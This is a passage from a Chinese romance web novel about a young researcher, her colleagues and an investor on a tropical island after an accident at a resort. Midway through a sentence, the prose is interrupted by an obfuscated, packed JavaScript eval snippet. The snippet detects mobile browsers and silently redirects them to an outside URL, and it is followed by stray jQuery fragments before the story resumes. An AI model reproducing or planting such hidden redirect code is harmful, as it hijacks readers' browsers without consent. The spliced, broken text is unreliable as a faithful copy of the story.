凌晨四点,天光微亮。
贺晙被温晏的电话吵醒。提及泛善岛出了事,让贺晙快点坐船去一趟。他已经开了快艇,即将抵达码头。
贺晙不明所以,上了船后,温晏才告诉他。昨夜烟花放完后,有个工人的小孩想再看一遍烟花,偷偷溜进工作间,不慎触碰到电源。
“听说手受了伤。”温晏有些避讳这些不吉的事。度假村还没开业,就碰上血光之灾,他觉得内心不安。
二人到了出事地点,天空才泛起半块白。受伤的孩子已被送往岛上的医务室。温晏问责了一圈人,只说小男孩个子小,隐匿在黑暗处,没人发现。说到底还是监管不足。
贺晙提议先去看看小孩。两人到了简陋的医务室,见到了被电击过的伤患。
小男孩是拉美移民,棕色皮肤,眼睛很大。他见到那么多人围着他,眼神更加惊恐。
温晏在问孩子的情况。不想孩子竟然用法语接话,说对不起,但他家赔不起那么多钱。
“你在这里上过学吗?”贺晙也用法语问。他看孩子的个头,约莫十来岁。
小男孩点头。一直说着对不起。
“手受伤了,以后就不能拿笔写字了。”
小男孩可怜地望着贺晙,眼里慢慢盛出了泪水。
他突然动了恻隐之心,回身同温晏说道:“不然带他去澳洲大医院看看吧,肿得那么厉害,只怕伤到了神经。”
这里与澳洲很近,这个提议也不是不可以。
温晏点头,他也想消消灾。
-
徐诗文把范思雨叫醒时,车已经修好了。
“发动机有个螺丝松动了,怪不得我怎么敲都不行。”
“你怎么知道敲几下会好,谁教你的?”
徐诗文笑着说当然是车主人教的。
两人快速收拾着行李,拿了房卡去退房。
退房时没有收取费用,徐诗文松了口气。
“咱们一个月的工资,也只够住两个晚上。要是真出钱,还不肉疼死。”徐诗文拿出两根手指晃了晃。
范思雨环视大厅,清晨退房的人少,大厅空空荡荡。
“算我欠你一个人情。”徐诗文提了两袋很重的蔬果,边说边往大门走。又回身见范思雨没跟上,喊了声:“范同学,快来。”
范思雨回转神思,连忙跟上。
“为什么欠我人情?”
徐诗文听了好笑道:“不是你朋友请的客吗?”
范思雨瘪了瘪嘴。不过心里倒感谢徐诗文的看破不说破。
中午,两人在三明治餐厅吃饭。一旁的柯清辉遗憾地说可能去不了泛善岛。
徐诗文很失望,问为什么,度假村不是要开业吗。
“听说昨晚出了事。”柯清辉递上自己的手机,界面上是一则本地新闻。徐诗文看了几眼,只问是不是对家搞的。
近几年华人越来越多,国内都有人来投资建设,巴玛亚纳当地的某些富豪并不喜欢外资。度假村的开业声势浩大,对家搞破坏也不无可能。
“他们老板说可能要延期开业。”柯清辉说。
范思雨听到“泛善”两个字就有点恍惚,喃喃问老板叫什么名字。
徐诗文看着新闻回答:“只知道姓温。”
范思雨回转思绪,方才听到泛善岛愣出神,应该是同音字,不会那么巧。
“欸?就是假日酒店的老板啊。”徐诗文指着新闻上的图片,上面有照片。“你看,就是昨晚碰上的那人。”
柯清辉也凑过来看,问她们怎么碰上酒店老板的。
范思雨想阻止徐诗文谈论昨晚的事,还好徐诗文讲话很有分寸,掐头去尾只讲了重点。车坏了,迫不得已住了一晚,只是恰好听到酒店员工喊这人老板。
柯清辉听完,又与两人闲聊。范思雨没接话,只低头吃面包。
虽然低着头吃饭,但总觉有视线扫射过来。范思雨茫然抬头看四周,周围也只是吃饭的人,并没有不妥。一时撞上了对桌柯清辉的眼。她别开脸,看向窗外。
“下午你们有事吗?要不来我们宿舍打麻将。”柯清辉虽然面朝徐诗文,但目光是落在范思雨的脸侧。
“下午不是项目投资人来视察吗?”徐诗文问。早上组长通知她,让她们下午别翘班。
“就说我们去实地考察了,回头我交点照片就行了。”柯清辉说得轻松,丝毫不觉得这样的工作态度有什么异常。
“不了。”范思雨出声拒绝。这是她的第一份正式工作,不想搞砸了。“诗文姐,你想去的话,我可以帮你请假。”
徐诗文也说不去了。玩乐何时都可以,不能在关键时刻掉链子。
下午两点。组长看人走了四个,就问去哪了。大家抿嘴笑得心照不宣。组长愤愤地说记上一笔早退。
一会儿,投资人来了。组长起身去欢迎。几个同事也纷纷起立。范思雨不和他们挤,就站后面,探头看到了一个欧美面孔的男人,穿着正装长裤。海岛属于热带气候,这时间大部分人还穿短袖,这人穿着正式,想必来此视察,也有重视的意思。
上班总算有了点“班味儿”。组长拿出最近的研究资料,解释给投资人听。投资人是当地的一位政|府官员,之所以投资,也只为了传播巴玛亚纳的文化,有助于旅游业的发展。
很快这位白人就告辞。范思雨松了口气,但周围的同事还是正襟危坐,说还有一个要来。
“谁?”范思雨悄悄问徐诗文。
徐诗文摇头。说这个白人在她刚来时见过一次。另一位一直没出现过。今天可是要见到真容了。
说得那么神秘,范思雨倒也好奇了。
半刻钟后,有人敲门。组长前去开门。范思雨伸长了脖颈,见到一双皮鞋踏了进来。顺着视线上移,她缩回了眼睛,同时紧了紧嘴。
她坐的工位在里侧,并不正面对着门。便往一旁缩了缩,企图躲开。
徐诗文起身来到她桌旁,轻扣了桌面。
“范同学。和投资人打个招呼。”
几人都在与刚来的贺晙打招呼。范思雨只得迎难而上。
她是最后一个到的。不过此刻她的视线不再躲闪。毕竟现在两人的身份有上下级的关系,她只要拿出正常的社交态度即可。
贺晙垂眸同她握了一下手。只是轻微的触碰,并没有多余的意思。
然后组长又开始讲了一番刚刚给上一个投资人讲过的内容。贺晙听得认真,时不时地点头。
徐诗文拉过站最后面的范思雨,轻声问:“这两人追你,你会选择哪一个?”
范思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403521|166846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨迟疑,转念问:“还是道选择题?谁和谁?”
徐诗文笑她装傻,一边指前头,一边用最低的声音说:“当然是昨晚你的朋友,和柯清辉。”
范思雨面无表情,没有作答。
“你别看柯清辉吊儿郎当的样子,其实他毕业论文都弄好了,一毕业就去驻外使馆,这边他自然没什么在意的。”
范思雨虚虚应了一声。去大使馆的人,怎么可能和她这样的孤儿搭上界。不想让徐诗文再嘀咕了,回道:“那位也博士毕业了。”
“谁?”
范思雨朝前扬了扬脸。
徐诗文大有深意地“哦”了一声。
两人的说话声让前面的人听到了。组长看到范思雨,想到前几天她弄的儿歌。转头朝贺晙说道:“范同学发现了一首儿歌,有点研究价值。”说完让范思雨拿出来,解释一下。
踟蹰片刻,范思雨回工位拿出笔电,上去讲解。
贺晙坐下,认真看着电脑里的文档。很简单的内容,几分钟就讲完了。
“就一首吗?这样篇幅少了点。”贺晙平声道。
范思雨看了眼组长。组长做了个“ok”手势,范思雨即刻退了下去。余光也没看贺晙,只见他的衣摆动了动。
组长忙说还在收集中,今天有几位同事已经去实地采集了,这首是前天范同学才做完的云云。
她也没仔细听,径直回到了自己的工位。
贺晙离去前,同大家打了个招呼。最后朝徐诗文点点头,没有同范思雨告别,就迈步出了门。组长一路送了出去。
人一走。大家都松了口气。有几个拿出手机,开始刷社交软件或玩游戏。
组长回来后,宣布了一个好消息。
每人手里发到了一张度假村聚会的门票。众人一片欢呼,只有范思雨怏怏呆在一旁。
回西里特街的路上,徐诗文问范思雨,是不是不考虑柯清辉了。
范思雨心觉奇怪。与徐诗文同处了几天来看,她并不像个会拉郎配的人。转而问道:“是他托你问的吗?”
徐诗文看着她颔首。
“那你觉得,我和他有可能吗?”
徐诗文好笑地问:“可能不可能的,你同意试试不就知道了?”
范思雨有些被气笑。“他毕业要去驻外使馆,我怎么可能和他……”
徐诗文制止了她说下去。“又不是结婚,你想那么远干什么?”她耸耸肩,继续说,“这里生活乏味,找个人谈谈恋爱也蛮好的。你们要呆上一年呢。”她又说要不是已经结婚生了孩子,她也想“游戏人生”一把。
说着两人已经到了。这个话题也没继续谈下去。徐诗文已知道了范思雨的意思。转头就回绝了柯清辉。
范思雨回了房间,推开窗户,远处的华人城在夕阳中发出隐隐绰绰的光。离华人城不远的泛善岛在一片雾气中闪现。
天边一团乌云慢慢聚集,估计又要下雨了。
她看了看手里的聚会门票。不想去,不想再见到贺晙。但呆在这里确实百无聊赖。
她把门票的边角卷了卷,又捋直。
手机里又收到张若彤二号的微信。这时间张若彤居然不在睡觉。
她诧异地打开看,里面只有一条。
——心情好点了吗?